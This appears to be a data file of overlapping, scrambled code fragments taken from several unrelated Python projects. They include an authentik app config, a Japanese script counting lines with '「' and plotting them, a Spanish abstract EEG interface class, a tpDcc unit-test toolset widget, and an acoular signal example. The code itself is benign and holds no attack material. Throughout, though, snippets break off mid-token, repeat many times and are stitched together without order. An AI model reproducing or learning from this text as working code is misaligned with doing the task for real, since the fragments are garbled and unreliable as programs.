AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\" name = \"authentik.stages.user_delete\" label", "delete stage app config\"\"\" from django.apps import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage", "stage app config\"\"\" from django.apps import AppConfig class AuthentikStageUserDeleteConfig(AppConfig): \"\"\"authentik delete stage config\"\"\"" ]
[ "if '「' in l: lines_with_kakko += 1 lines += 1 return (lines, lines_with_kakko)", "# %% すべてのファイルについて調べる params = [] for set_dir in datasets: files = os.listdir(path=set_dir)", "os.listdir(path=set_dir) for f in files: f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) #", "lines = 0 lines_with_kakko = 0 with open(f_path, encoding='utf-8') as f: while True:", "を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ---------- f_path : str 調査するファイルのパス名 returns", "import os import matplotlib.pyplot as plt # %% 設定 datasets = ['hariko/scripts',] #", "(lines, lines_with_kakko) # %% すべてのファイルについて調べる params = [] for set_dir in datasets: files", "= os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x, y) = zip(*params)", "plt # %% 設定 datasets = ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path):", "for set_dir in datasets: files = os.listdir(path=set_dir) for f in files: f_path =", "params.append(count_kakko(f_path)) # %% 可視化する (x, y) = zip(*params) plt.scatter(x, y) # %% y", "lines_with_kakko += 1 lines += 1 return (lines, lines_with_kakko) # %% すべてのファイルについて調べる params", "= ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ----------", "\"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ---------- f_path : str 調査するファイルのパス名", "# %% import os import matplotlib.pyplot as plt # %% 設定 datasets =", "in files: f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x,", "f: while True: l = f.readline() if not l: break if '「' in", "['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ---------- f_path", "可視化する (x, y) = zip(*params) plt.scatter(x, y) # %% y を行数ではなく割合で表示 y =", "= 0 with open(f_path, encoding='utf-8') as f: while True: l = f.readline() if", "set_dir in datasets: files = os.listdir(path=set_dir) for f in files: f_path = os.path.abspath(os.path.join(set_dir,", "while True: l = f.readline() if not l: break if '「' in l:", "f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x, y) = zip(*params) plt.scatter(x, y)", "lines += 1 return (lines, lines_with_kakko) # %% すべてのファイルについて調べる params = [] for", "parameters ---------- f_path : str 調査するファイルのパス名 returns ------- lines : int ファイルの行数 lines_with_kakko", "%% import os import matplotlib.pyplot as plt # %% 設定 datasets = ['hariko/scripts',]", "[] for set_dir in datasets: files = os.listdir(path=set_dir) for f in files: f_path", "1 return (lines, lines_with_kakko) # %% すべてのファイルについて調べる params = [] for set_dir in", "f in files: f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する", "int ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines = 0 lines_with_kakko = 0 with", "1 lines += 1 return (lines, lines_with_kakko) # %% すべてのファイルについて調べる params = []", "params = [] for set_dir in datasets: files = os.listdir(path=set_dir) for f in", "os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x, y) = zip(*params) plt.scatter(x, y) # %%", "%% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ---------- f_path : str", "not l: break if '「' in l: lines_with_kakko += 1 lines += 1", "def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ---------- f_path : str 調査するファイルのパス名 returns -------", "'「' in l: lines_with_kakko += 1 lines += 1 return (lines, lines_with_kakko) #", "l: lines_with_kakko += 1 lines += 1 return (lines, lines_with_kakko) # %% すべてのファイルについて調べる", "y) # %% y を行数ではなく割合で表示 y = [y/x for (x, y) in params]", "for f in files: f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %%", "# %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ---------- f_path :", "returns ------- lines : int ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines = 0", "matplotlib.pyplot as plt # %% 設定 datasets = ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数", "= os.listdir(path=set_dir) for f in files: f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path))", "encoding='utf-8') as f: while True: l = f.readline() if not l: break if", "= [] for set_dir in datasets: files = os.listdir(path=set_dir) for f in files:", "ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines = 0 lines_with_kakko = 0 with open(f_path,", "l: break if '「' in l: lines_with_kakko += 1 lines += 1 return", "count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters ---------- f_path : str 調査するファイルのパス名 returns ------- lines", "設定 datasets = ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する", "f.readline() if not l: break if '「' in l: lines_with_kakko += 1 lines", "---------- f_path : str 調査するファイルのパス名 returns ------- lines : int ファイルの行数 lines_with_kakko \"「\"", "open(f_path, encoding='utf-8') as f: while True: l = f.readline() if not l: break", "%% 設定 datasets = ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\"", "+= 1 return (lines, lines_with_kakko) # %% すべてのファイルについて調べる params = [] for set_dir", "'''行数と \"「\" を含む行数を取得する parameters ---------- f_path : str 調査するファイルのパス名 returns ------- lines :", "''' lines = 0 lines_with_kakko = 0 with open(f_path, encoding='utf-8') as f: while", "files = os.listdir(path=set_dir) for f in files: f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path):", "------- lines : int ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines = 0 lines_with_kakko", "lines_with_kakko) # %% すべてのファイルについて調べる params = [] for set_dir in datasets: files =", "zip(*params) plt.scatter(x, y) # %% y を行数ではなく割合で表示 y = [y/x for (x, y)", ": str 調査するファイルのパス名 returns ------- lines : int ファイルの行数 lines_with_kakko \"「\" を含む行数 '''", "%% y を行数ではなく割合で表示 y = [y/x for (x, y) in params] plt.scatter(x, y,", "in l: lines_with_kakko += 1 lines += 1 return (lines, lines_with_kakko) # %%", "str 調査するファイルのパス名 returns ------- lines : int ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines", "調査するファイルのパス名 returns ------- lines : int ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines =", "%% すべてのファイルについて調べる params = [] for set_dir in datasets: files = os.listdir(path=set_dir) for", "0 with open(f_path, encoding='utf-8') as f: while True: l = f.readline() if not", "\"「\" を含む行数 ''' lines = 0 lines_with_kakko = 0 with open(f_path, encoding='utf-8') as", "files: f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x, y)", ": int ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines = 0 lines_with_kakko = 0", "lines_with_kakko = 0 with open(f_path, encoding='utf-8') as f: while True: l = f.readline()", "True: l = f.readline() if not l: break if '「' in l: lines_with_kakko", "if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x, y) = zip(*params) plt.scatter(x, y) #", "y を行数ではなく割合で表示 y = [y/x for (x, y) in params] plt.scatter(x, y, alpha=0.3)", "# %% 可視化する (x, y) = zip(*params) plt.scatter(x, y) # %% y を行数ではなく割合で表示", "with open(f_path, encoding='utf-8') as f: while True: l = f.readline() if not l:", "as plt # %% 設定 datasets = ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def", "+= 1 lines += 1 return (lines, lines_with_kakko) # %% すべてのファイルについて調べる params =", "y) = zip(*params) plt.scatter(x, y) # %% y を行数ではなく割合で表示 y = [y/x for", "を含む行数 ''' lines = 0 lines_with_kakko = 0 with open(f_path, encoding='utf-8') as f:", "%% 可視化する (x, y) = zip(*params) plt.scatter(x, y) # %% y を行数ではなく割合で表示 y", "os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x, y) = zip(*params) plt.scatter(x,", "# %% 設定 datasets = ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と", "import matplotlib.pyplot as plt # %% 設定 datasets = ['hariko/scripts',] # %% \"「\"", "\"「\" を含む行数を取得する parameters ---------- f_path : str 調査するファイルのパス名 returns ------- lines : int", "datasets: files = os.listdir(path=set_dir) for f in files: f_path = os.path.abspath(os.path.join(set_dir, f)) if", "= zip(*params) plt.scatter(x, y) # %% y を行数ではなく割合で表示 y = [y/x for (x,", "os import matplotlib.pyplot as plt # %% 設定 datasets = ['hariko/scripts',] # %%", "datasets = ['hariko/scripts',] # %% \"「\" を含む行数をカウントする関数 def count_kakko(f_path): '''行数と \"「\" を含む行数を取得する parameters", "# %% y を行数ではなく割合で表示 y = [y/x for (x, y) in params] plt.scatter(x,", "if not l: break if '「' in l: lines_with_kakko += 1 lines +=", "break if '「' in l: lines_with_kakko += 1 lines += 1 return (lines,", "as f: while True: l = f.readline() if not l: break if '「'", "0 lines_with_kakko = 0 with open(f_path, encoding='utf-8') as f: while True: l =", "lines_with_kakko \"「\" を含む行数 ''' lines = 0 lines_with_kakko = 0 with open(f_path, encoding='utf-8')", "を含む行数を取得する parameters ---------- f_path : str 調査するファイルのパス名 returns ------- lines : int ファイルの行数", "plt.scatter(x, y) # %% y を行数ではなく割合で表示 y = [y/x for (x, y) in", "すべてのファイルについて調べる params = [] for set_dir in datasets: files = os.listdir(path=set_dir) for f", "= f.readline() if not l: break if '「' in l: lines_with_kakko += 1", "f_path = os.path.abspath(os.path.join(set_dir, f)) if os.path.isfile(f_path): params.append(count_kakko(f_path)) # %% 可視化する (x, y) =", "f_path : str 調査するファイルのパス名 returns ------- lines : int ファイルの行数 lines_with_kakko \"「\" を含む行数", "l = f.readline() if not l: break if '「' in l: lines_with_kakko +=", "in datasets: files = os.listdir(path=set_dir) for f in files: f_path = os.path.abspath(os.path.join(set_dir, f))", "= 0 lines_with_kakko = 0 with open(f_path, encoding='utf-8') as f: while True: l", "return (lines, lines_with_kakko) # %% すべてのファイルについて調べる params = [] for set_dir in datasets:", "(x, y) = zip(*params) plt.scatter(x, y) # %% y を行数ではなく割合で表示 y = [y/x", "lines : int ファイルの行数 lines_with_kakko \"「\" を含む行数 ''' lines = 0 lines_with_kakko =" ]
[ "una interfaz en POO se utiliza esta libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php", "mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz", "pass @abstractmethod def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self, mensaje):", "class EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe implementarse para conectar el cognidron con", "si se encuentra conectado con el dispositivo EEG def __init__(self): pass @abstractmethod def", "el dispositivo EEG def __init__(self): pass @abstractmethod def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self):", "def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self, mensaje): pass @abstractmethod", "se utiliza esta libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC,", "el dispositivo de EEG. \"\"\" conectado = False # para saber si se", "con el dispositivo EEG def __init__(self): pass @abstractmethod def iniciarConexion(self): pass @abstractmethod def", "\"\"\" conectado = False # para saber si se encuentra conectado con el", "def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self, mensaje): pass @abstractmethod def recibirMensaje(self): return \"\"", "Interfaz abstracta que debe implementarse para conectar el cognidron con el dispositivo de", "se encuentra conectado con el dispositivo EEG def __init__(self): pass @abstractmethod def iniciarConexion(self):", "def __init__(self): pass @abstractmethod def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass @abstractmethod def", "EEG. \"\"\" conectado = False # para saber si se encuentra conectado con", "POO se utiliza esta libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc import", "ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe implementarse para conectar el", "que debe implementarse para conectar el cognidron con el dispositivo de EEG. \"\"\"", "el cognidron con el dispositivo de EEG. \"\"\" conectado = False # para", "interfaz en POO se utiliza esta libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php from", "con el dispositivo de EEG. \"\"\" conectado = False # para saber si", "como una interfaz en POO se utiliza esta libreria # mas info en:", "from abc import ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe implementarse", "abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe implementarse para conectar el cognidron", "debe implementarse para conectar el cognidron con el dispositivo de EEG. \"\"\" conectado", "usar esta clase como una interfaz en POO se utiliza esta libreria #", "para saber si se encuentra conectado con el dispositivo EEG def __init__(self): pass", "info en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta", "@abstractmethod def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self, mensaje): pass @abstractmethod def recibirMensaje(self): return", "abc import ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe implementarse para", "dispositivo EEG def __init__(self): pass @abstractmethod def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass", "dispositivo de EEG. \"\"\" conectado = False # para saber si se encuentra", "import ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe implementarse para conectar", "cognidron con el dispositivo de EEG. \"\"\" conectado = False # para saber", "saber si se encuentra conectado con el dispositivo EEG def __init__(self): pass @abstractmethod", "encuentra conectado con el dispositivo EEG def __init__(self): pass @abstractmethod def iniciarConexion(self): pass", "EEG def __init__(self): pass @abstractmethod def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass @abstractmethod", "libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod class EegInterfaz(ABC):", "conectar el cognidron con el dispositivo de EEG. \"\"\" conectado = False #", "__init__(self): pass @abstractmethod def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self,", "False # para saber si se encuentra conectado con el dispositivo EEG def", "@abstractmethod def iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self, mensaje): pass", "utiliza esta libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod", "= False # para saber si se encuentra conectado con el dispositivo EEG", "implementarse para conectar el cognidron con el dispositivo de EEG. \"\"\" conectado =", "de EEG. \"\"\" conectado = False # para saber si se encuentra conectado", "en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta que", "pass @abstractmethod def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self, mensaje): pass @abstractmethod def recibirMensaje(self):", "iniciarConexion(self): pass @abstractmethod def cerrarConexion(self): pass @abstractmethod def enviarMensaje(self, mensaje): pass @abstractmethod def", "# mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod class EegInterfaz(ABC): \"\"\"", "\"\"\" Interfaz abstracta que debe implementarse para conectar el cognidron con el dispositivo", "<gh_stars>1-10 # Para usar esta clase como una interfaz en POO se utiliza", "# para saber si se encuentra conectado con el dispositivo EEG def __init__(self):", "abstracta que debe implementarse para conectar el cognidron con el dispositivo de EEG.", "conectado = False # para saber si se encuentra conectado con el dispositivo", "https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod class EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe", "conectado con el dispositivo EEG def __init__(self): pass @abstractmethod def iniciarConexion(self): pass @abstractmethod", "esta clase como una interfaz en POO se utiliza esta libreria # mas", "clase como una interfaz en POO se utiliza esta libreria # mas info", "para conectar el cognidron con el dispositivo de EEG. \"\"\" conectado = False", "en POO se utiliza esta libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc", "EegInterfaz(ABC): \"\"\" Interfaz abstracta que debe implementarse para conectar el cognidron con el", "# Para usar esta clase como una interfaz en POO se utiliza esta", "Para usar esta clase como una interfaz en POO se utiliza esta libreria", "esta libreria # mas info en: https://www.python-course.eu/python3_abstract_classes.php from abc import ABC, abstractmethod class" ]
[ "-*- coding: utf-8 -*- \"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\" from __future__ import", "absolute_import from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs): self._unit_test_paths", "division, absolute_import from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs):", "from tpDcc.tools.unittests.core import model, view, controller unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model)", "**kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core", "object): def __init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs)", "#!/usr/bin/env python # -*- coding: utf-8 -*- \"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\"", "kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core import model, view,", "__init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self):", "**kwargs) def contents(self): from tpDcc.tools.unittests.core import model, view, controller unit_test_model = model.UnitTestModel() unit_test_controller", "controller unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view = view.UnitTestView( unit_test_paths=self._unit_test_paths, model=unit_test_model,", "python # -*- coding: utf-8 -*- \"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\" from", "list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core import model, view, controller", "unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view = view.UnitTestView( unit_test_paths=self._unit_test_paths, model=unit_test_model, controller=unit_test_controller, parent=self) return [unit_test_view]", "tpDcc.tools.unittests.core import model, view, controller unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view", "import model, view, controller unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view =", "\"\"\" from __future__ import print_function, division, absolute_import from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget,", "from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs): self._unit_test_paths =", "self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core import model, view, controller unit_test_model", "contents(self): from tpDcc.tools.unittests.core import model, view, controller unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client,", "model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view = view.UnitTestView( unit_test_paths=self._unit_test_paths, model=unit_test_model, controller=unit_test_controller, parent=self) return", "-*- \"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\" from __future__ import print_function, division, absolute_import", "tpDcc-tools-unittests \"\"\" from __future__ import print_function, division, absolute_import from tpDcc.libs.qt.widgets import toolset class", "super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core import model, view, controller unit_test_model =", "*args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from", "# -*- coding: utf-8 -*- \"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\" from __future__", "view, controller unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view = view.UnitTestView( unit_test_paths=self._unit_test_paths,", "= kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core import model,", "for tpDcc-tools-unittests \"\"\" from __future__ import print_function, division, absolute_import from tpDcc.libs.qt.widgets import toolset", "def __init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def", "print_function, division, absolute_import from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args,", "self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core import", "coding: utf-8 -*- \"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\" from __future__ import print_function,", "Toolset implementation for tpDcc-tools-unittests \"\"\" from __future__ import print_function, division, absolute_import from tpDcc.libs.qt.widgets", "UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget, self).__init__(*args,", "def contents(self): from tpDcc.tools.unittests.core import model, view, controller unit_test_model = model.UnitTestModel() unit_test_controller =", "model, view, controller unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view = view.UnitTestView(", "= model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view = view.UnitTestView( unit_test_paths=self._unit_test_paths, model=unit_test_model, controller=unit_test_controller, parent=self)", "import print_function, division, absolute_import from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self,", "__future__ import print_function, division, absolute_import from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def", "self).__init__(*args, **kwargs) def contents(self): from tpDcc.tools.unittests.core import model, view, controller unit_test_model = model.UnitTestModel()", "import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list())", "tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths',", "implementation for tpDcc-tools-unittests \"\"\" from __future__ import print_function, division, absolute_import from tpDcc.libs.qt.widgets import", "class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests']) super(UnitTestsToolsetWidget,", "\"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\" from __future__ import print_function, division, absolute_import from", "unit_test_model = model.UnitTestModel() unit_test_controller = controller.UnitTestController(client=self._client, model=unit_test_model) unit_test_view = view.UnitTestView( unit_test_paths=self._unit_test_paths, model=unit_test_model, controller=unit_test_controller,", "toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object): def __init__(self, *args, **kwargs): self._unit_test_paths = kwargs.get('unit_test_paths', list()) self._unit_test_paths.extend([r'D:\\tpDcc\\tpDcc-libs-nameit\\tests'])", "from __future__ import print_function, division, absolute_import from tpDcc.libs.qt.widgets import toolset class UnitTestsToolsetWidget(toolset.ToolsetWidget, object):", "utf-8 -*- \"\"\" Toolset implementation for tpDcc-tools-unittests \"\"\" from __future__ import print_function, division," ]
[ "# last valid sample = 15999 invalid = [1,7] # list of invalid", "[1,7] # list of invalid channels (unwanted microphones etc.) t1.invalid_channels = invalid t2", "-*- coding: utf-8 -*- \"\"\" \"\"\" from pylab import * from acoular import", "= 15999 invalid = [1,7] # list of invalid channels (unwanted microphones etc.)", "# list of invalid channels (unwanted microphones etc.) t1.invalid_channels = invalid t2 =", "* from acoular import * # files datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile)", "# first sample, default t1.stop = 16000 # last valid sample = 15999", "0 # first sample, default t1.stop = 16000 # last valid sample =", "= [1,7] # list of invalid channels (unwanted microphones etc.) t1.invalid_channels = invalid", "# -*- coding: utf-8 -*- \"\"\" \"\"\" from pylab import * from acoular", "invalid = [1,7] # list of invalid channels (unwanted microphones etc.) t1.invalid_channels =", "import * # files datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start = 0", "valid sample = 15999 invalid = [1,7] # list of invalid channels (unwanted", "= 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start = 0 # first sample, default t1.stop", "import * from acoular import * # files datafile = 'example_data.h5' t1 =", "\"\"\" from pylab import * from acoular import * # files datafile =", "-*- \"\"\" \"\"\" from pylab import * from acoular import * # files", "t1.stop = 16000 # last valid sample = 15999 invalid = [1,7] #", "'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start = 0 # first sample, default t1.stop =", "utf-8 -*- \"\"\" \"\"\" from pylab import * from acoular import * #", "channels (unwanted microphones etc.) t1.invalid_channels = invalid t2 = ChannelMixer(source=t1) sig = GenericSignalGenerator(source=t2)", "= MaskedTimeSamples(name=datafile) t1.start = 0 # first sample, default t1.stop = 16000 #", "coding: utf-8 -*- \"\"\" \"\"\" from pylab import * from acoular import *", "default t1.stop = 16000 # last valid sample = 15999 invalid = [1,7]", "15999 invalid = [1,7] # list of invalid channels (unwanted microphones etc.) t1.invalid_channels", "of invalid channels (unwanted microphones etc.) t1.invalid_channels = invalid t2 = ChannelMixer(source=t1) sig", "from pylab import * from acoular import * # files datafile = 'example_data.h5'", "list of invalid channels (unwanted microphones etc.) t1.invalid_channels = invalid t2 = ChannelMixer(source=t1)", "microphones etc.) t1.invalid_channels = invalid t2 = ChannelMixer(source=t1) sig = GenericSignalGenerator(source=t2) plot(sig.signal()) show()", "files datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start = 0 # first sample,", "\"\"\" \"\"\" from pylab import * from acoular import * # files datafile", "t1.start = 0 # first sample, default t1.stop = 16000 # last valid", "# files datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start = 0 # first", "MaskedTimeSamples(name=datafile) t1.start = 0 # first sample, default t1.stop = 16000 # last", "* # files datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start = 0 #", "16000 # last valid sample = 15999 invalid = [1,7] # list of", "last valid sample = 15999 invalid = [1,7] # list of invalid channels", "sample, default t1.stop = 16000 # last valid sample = 15999 invalid =", "sample = 15999 invalid = [1,7] # list of invalid channels (unwanted microphones", "invalid channels (unwanted microphones etc.) t1.invalid_channels = invalid t2 = ChannelMixer(source=t1) sig =", "datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start = 0 # first sample, default", "= 16000 # last valid sample = 15999 invalid = [1,7] # list", "(unwanted microphones etc.) t1.invalid_channels = invalid t2 = ChannelMixer(source=t1) sig = GenericSignalGenerator(source=t2) plot(sig.signal())", "= 0 # first sample, default t1.stop = 16000 # last valid sample", "acoular import * # files datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start =", "from acoular import * # files datafile = 'example_data.h5' t1 = MaskedTimeSamples(name=datafile) t1.start", "first sample, default t1.stop = 16000 # last valid sample = 15999 invalid", "pylab import * from acoular import * # files datafile = 'example_data.h5' t1", "t1 = MaskedTimeSamples(name=datafile) t1.start = 0 # first sample, default t1.stop = 16000" ]
